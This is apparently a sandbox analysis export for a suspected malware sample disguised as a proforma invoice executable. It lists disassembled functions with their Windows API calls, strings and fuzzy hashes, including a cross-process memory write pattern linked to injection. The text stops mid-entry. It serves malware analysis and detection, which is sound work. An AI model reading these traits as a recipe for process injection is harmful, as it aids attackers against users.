Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: f6e8e6b9cdbc7e6931752f303c37d028b93033cb3d078f82634eacb49f039f2e
Instruction ID: f6c5fd5bf5d7f1d26580bb6ab739e3d15e56509ef18736ea87ce5032d2de0c39
Opcode Fuzzy Hash: f6e8e6b9cdbc7e6931752f303c37d028b93033cb3d078f82634eacb49f039f2e
Instruction Fuzzy Hash: B101FD72610204BFDB506F68EC84BAE7AEDEF44392F144625F805E2210E779CD049BA4

Function 0048E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 0048E997
QueryPerformanceFrequency.KERNEL32(?), ref: 0048E9A5
Sleep.KERNEL32(00000000), ref: 0048E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 0048E9B7
Sleep.KERNEL32 ref: 0048E9F3

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 38e9b1c3a815adf0334238628422aa24672ecd963336a622d49eb4704b9d04e3
Instruction ID: e31743c856f076a3248661529ae506dbe943dafa0f09f2640884f846d3c2f599
Opcode Fuzzy Hash: 38e9b1c3a815adf0334238628422aa24672ecd963336a622d49eb4704b9d04e3
Instruction Fuzzy Hash: DB016D71C01529DBCF00AFEADD896DDBB78FF09301F000A57E942B2240CB789551CBAA

Function 004810F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00481114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00480B9B,?,?,?), ref: 00481120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00480B9B,?,?,?), ref: 0048112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00480B9B,?,?,?), ref: 00481136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0048114D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 48c2655b77cc6b8a8298bb4aacb8372a9e6e98ac3bcb142a0a82b625db415609
Instruction ID: d917cf516430060be8b686c2996dfaeb779d44ee710da23d3e2d6475a2487045
Opcode Fuzzy Hash: 48c2655b77cc6b8a8298bb4aacb8372a9e6e98ac3bcb142a0a82b625db415609
Instruction Fuzzy Hash: 14011D75100605BFDB115FA5DC8DAAB3B6EEF89360B104526FA46D7360DA31DC019B64

Function 00480FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00480FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00480FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00480FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00480FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00481002

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 7311d10b4b97b0d333d44501bbc6a58fc2aa6c3c29bb80fb160ab414c7147831
Instruction ID: e2fda5904e328891e96e32de2e176286625fba70b205faa8b4bab99e7ec24cfa
Opcode Fuzzy Hash: 7311d10b4b97b0d333d44501bbc6a58fc2aa6c3c29bb80fb160ab414c7147831
Instruction Fuzzy Hash: 55F0AF75100301ABD7212FA49CC9F5B3BADEF8A761F100426F905D6260CA30DC408A64

Function 00481014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0048102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00481036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00481045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0048104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00481062

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 8fcc501a26315e25ed68eeac97250e59f66f2b09ebb96e7edda84bbace03d1df
Instruction ID: edccd220124ec5fa6d49d4cecdeb913d7388f2aa85087cde0d205f0744ae92a1
Opcode Fuzzy Hash: 8fcc501a26315e25ed68eeac97250e59f66f2b09ebb96e7edda84bbace03d1df
Instruction Fuzzy Hash: E3F06275140301EBD7216FA4ECC9F5B3BADEF8A761F100526F945E7260CA74D8418B64

Function 0049030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,0049017D,?,004932FC,?,00000001,00462592,?), ref: 00490324
CloseHandle.KERNEL32(?,?,?,?,0049017D,?,004932FC,?,00000001,00462592,?), ref: 00490331
CloseHandle.KERNEL32(?,?,?,?,0049017D,?,004932FC,?,00000001,00462592,?), ref: 0049033E
CloseHandle.KERNEL32(?,?,?,?,0049017D,?,004932FC,?,00000001,00462592,?), ref: 0049034B
CloseHandle.KERNEL32(?,?,?,?,0049017D,?,004932FC,?,00000001,00462592,?), ref: 00490358
CloseHandle.KERNEL32(?,?,?,?,0049017D,?,004932FC,?,00000001,00462592,?), ref: 00490365

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 4a76357199183cb86dea2916cb5250c22fb095a08fe14fe5e356c72c89e91214
Instruction ID: ed570704167c4625fbdd6ac4fb9fec6c048d36119dd0c1c114731c2716f9d6ca
Opcode Fuzzy Hash: 4a76357199183cb86dea2916cb5250c22fb095a08fe14fe5e356c72c89e91214
Instruction Fuzzy Hash: 2801AA72800B159FCB30AF6AD880813FBF9BF603153158A3FD59652A31C3B5A998DF84

Function 0045D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0045D752

Part of subcall function 004529C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000), ref: 004529DE
Part of subcall function 004529C8: GetLastError.KERNEL32(00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000,00000000), ref: 004529F0

_free.LIBCMT ref: 0045D764
_free.LIBCMT ref: 0045D776
_free.LIBCMT ref: 0045D788
_free.LIBCMT ref: 0045D79A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e0f2a21b4f97225cbf08bbfc4ac70b52762c4dc9046e11cbdde593abb6fd362d
Instruction ID: 4b388fe234d9fda152e862e6c07ee8adc7013110369351195e53cf809d01dfed
Opcode Fuzzy Hash: e0f2a21b4f97225cbf08bbfc4ac70b52762c4dc9046e11cbdde593abb6fd362d
Instruction Fuzzy Hash: 68F044B2A00248AB8635FB55FAC1C577BDDBF09312794081BF844E7603C728FC84866C

Function 00485C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00485C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00485C6F
MessageBeep.USER32(00000000), ref: 00485C87
KillTimer.USER32(?,0000040A), ref: 00485CA3
EndDialog.USER32(?,00000001), ref: 00485CBD

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: cc10542c7e7a0ceab1ac54573bfa68b09312b5bdf51324188b809aa3d79a5ad6
Instruction ID: 0a838a0193c0566217ce4f85e012b82527c54a63bb2cf20d1240837792481f51
Opcode Fuzzy Hash: cc10542c7e7a0ceab1ac54573bfa68b09312b5bdf51324188b809aa3d79a5ad6
Instruction Fuzzy Hash: 9E018B305007049BFB216B10DDCEFAA77B8BB00705F00166AA583A14E1DBF469949F59

Function 004522A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004522BE

Part of subcall function 004529C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000), ref: 004529DE
Part of subcall function 004529C8: GetLastError.KERNEL32(00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000,00000000), ref: 004529F0

_free.LIBCMT ref: 004522D0
_free.LIBCMT ref: 004522E3
_free.LIBCMT ref: 004522F4
_free.LIBCMT ref: 00452305

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f17d8261ad30c9c5d074e03c18d8a7701c2f05758c84c7708e498129d7de1e53
Instruction ID: c773e2e05931d0de2ad6715253a48f93b819ca5d0a044b34456541b09b261cb8
Opcode Fuzzy Hash: f17d8261ad30c9c5d074e03c18d8a7701c2f05758c84c7708e498129d7de1e53
Instruction Fuzzy Hash: 6CF030F4500110DB8612BF95BE818693B64B719752B01056BF810F6373C7B90426DBAC

Function 004395C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 004395D4
StrokeAndFillPath.GDI32(?,?,004771F7,00000000,?,?,?), ref: 004395F0
SelectObject.GDI32(?,00000000), ref: 00439603
DeleteObject.GDI32 ref: 00439616
StrokePath.GDI32(?), ref: 00439631

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: b8e094ef599b38223ed017283183c3e81c52f771f088a9ee7625484d63ba14e7
Instruction ID: 0098941d5436ee94867e0b73aab18bb8645177949b71046b5e65b0b33d233bd7
Opcode Fuzzy Hash: b8e094ef599b38223ed017283183c3e81c52f771f088a9ee7625484d63ba14e7
Instruction Fuzzy Hash: 98F03C71006204EBDB166F69ED9CB793B65AB14322F048335F465551F0C7B489A1DFAC

Function 00450F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 004510F9
__freea.LIBCMT ref: 00451117

Part of subcall function 00451537: _free.LIBCMT ref: 0045154F

Strings

am/pm, xrefs: 0045117A
a/p, xrefs: 004511DE

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 105206133b2c8e860352b013de2525cf6d88d77948f91767e0fcb49d3babfe5b
Instruction ID: b6970d0efe840f00fc1f2ee2545f8803bf2eb38e9355ac87a8df1686a1e5e577
Opcode Fuzzy Hash: 105206133b2c8e860352b013de2525cf6d88d77948f91767e0fcb49d3babfe5b
Instruction Fuzzy Hash: 6CD1E3319002059AEB249F68C865BBBB7B0EF05702F14415BED01ABB62D37D9D89CB59

Function 004A61D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 00440242: EnterCriticalSection.KERNEL32(004F070C,004F1884,?,?,0043198B,004F2518,?,?,?,004212F9,00000000), ref: 0044024D
Part of subcall function 00440242: LeaveCriticalSection.KERNEL32(004F070C,?,0043198B,004F2518,?,?,?,004212F9,00000000), ref: 0044028A

Part of subcall function 004400A3: __onexit.LIBCMT ref: 004400A9

__Init_thread_footer.LIBCMT ref: 004A6238

Part of subcall function 004401F8: EnterCriticalSection.KERNEL32(004F070C,?,?,00438747,004F2514), ref: 00440202
Part of subcall function 004401F8: LeaveCriticalSection.KERNEL32(004F070C,?,00438747,004F2514), ref: 00440235

Part of subcall function 0049359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 004935E4
Part of subcall function 0049359C: LoadStringW.USER32(004F2390,?,00000FFF,?), ref: 0049360A

Strings

x#O, xrefs: 004A633A
x#O, xrefs: 004A6353
x#O, xrefs: 004A636F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x#O$x#O$x#O
API String ID: 1072379062-1585387102
Opcode ID: 8c70d49338d98640a8064eeae5459578ca09c1ff0d0a24dac17931a2e8689fab
Instruction ID: 4787d067b239ab745dc6c827bfd9894440a0f23e5039edcf9f5bbd66865290ba
Opcode Fuzzy Hash: 8c70d49338d98640a8064eeae5459578ca09c1ff0d0a24dac17931a2e8689fab
Instruction Fuzzy Hash: BFC1BF71A00105AFCB14EF68D890EBEB7B9EF59304F15806EF9059B281DB78ED41CB98

Function 00458A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 00458B6E
GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 00458B7A
__dosmaperr.LIBCMT ref: 00458B81

Strings

.D, xrefs: 00458A63

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .D
API String ID: 2434981716-3625442119
Opcode ID: 9c7f89c90aaa6a418ccb39cd11912d42fa7d9842e2e9944e0f54374b488840e6
Instruction ID: 2b43b71b691ca9c7a7952de0bb208ed3e7d500c1491ac1d6bcc61ec33cee1202
Opcode Fuzzy Hash: 9c7f89c90aaa6a418ccb39cd11912d42fa7d9842e2e9944e0f54374b488840e6
Instruction Fuzzy Hash: B2415CB0604045AFDB249F24C881A7E7FA9EB85305B2841AFFC45A7253DE399C17879C

Function 00482716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0048B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,004821D0,?,?,00000034,00000800,?,00000034), ref: 0048B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00482760

Part of subcall function 0048B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,004821FF,?,?,00000800,?,00001073,00000000,?,?), ref: 0048B3F8

Part of subcall function 0048B32A: GetWindowThreadProcessId.USER32(?,?), ref: 0048B355
Part of subcall function 0048B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00482194,00000034,?,?,00001004,00000000,00000000), ref: 0048B365
Part of subcall function 0048B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00482194,00000034,?,?,00001004,00000000,00000000), ref: 0048B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 004827CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0048281A

Strings

@, xrefs: 00482832

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 68bc7d3d0e36bc466176894dfb6da9a07b9e38108367f05a13071d35261bd4b6
Instruction ID: 981b16b58dc40dc3c084e38782a5ce4f9ec9bead73b258c05586ab0b0faa37f8
Opcode Fuzzy Hash: 68bc7d3d0e36bc466176894dfb6da9a07b9e38108367f05a13071d35261bd4b6
Instruction Fuzzy Hash: DC416D72900218BFDB10EBA4CD81ADEBBB8EF09704F00445AFA55B7181DB746E45CBA4

Function 0045172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe,00000104), ref: 00451769
_free.LIBCMT ref: 00451834
_free.LIBCMT ref: 0045183E

Strings

C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, xrefs: 00451760, 00451767, 00451796, 004517CE

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe
API String ID: 2506810119-1617115057
Opcode ID: 48077779d7ddf992d60763a72ff990ed2217d4dbe809c8963531c6153e8d3875
Instruction ID: d9d48bd8af958da5070941ae20d7a16f1a71e03745191e7650c402cdba091e19
Opcode Fuzzy Hash: 48077779d7ddf992d60763a72ff990ed2217d4dbe809c8963531c6153e8d3875
Instruction Fuzzy Hash: 00318675A00218EFDB21DB999C81E9FBBFCEB85315B1041ABFC0497322D6B44E44CB98

Function 0048C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0048C306
DeleteMenu.USER32(?,00000007,00000000), ref: 0048C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,004F1990,017A58C0), ref: 0048C395

Strings

0, xrefs: 0048C2DF

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 5dd5126d07bdadd03a98b299f125f03a407fb457726b327dc3812fc79054afcf
Instruction ID: 6bf9573f0b25be86350bfd945495980d7889344203c72767b02a203235e56a2b
Opcode Fuzzy Hash: 5dd5126d07bdadd03a98b299f125f03a407fb457726b327dc3812fc79054afcf
Instruction Fuzzy Hash: B8419F31204301AFD720EF25D884B1FBBE4EB85314F048A2EFCA597391D738A905CB6A

Function 004B4416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,004BCC08,00000000,?,?,?,?), ref: 004B44AA
GetWindowLongW.USER32 ref: 004B44C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004B44D7

Strings

SysTreeView32, xrefs: 004B447C

Memory Dump Source

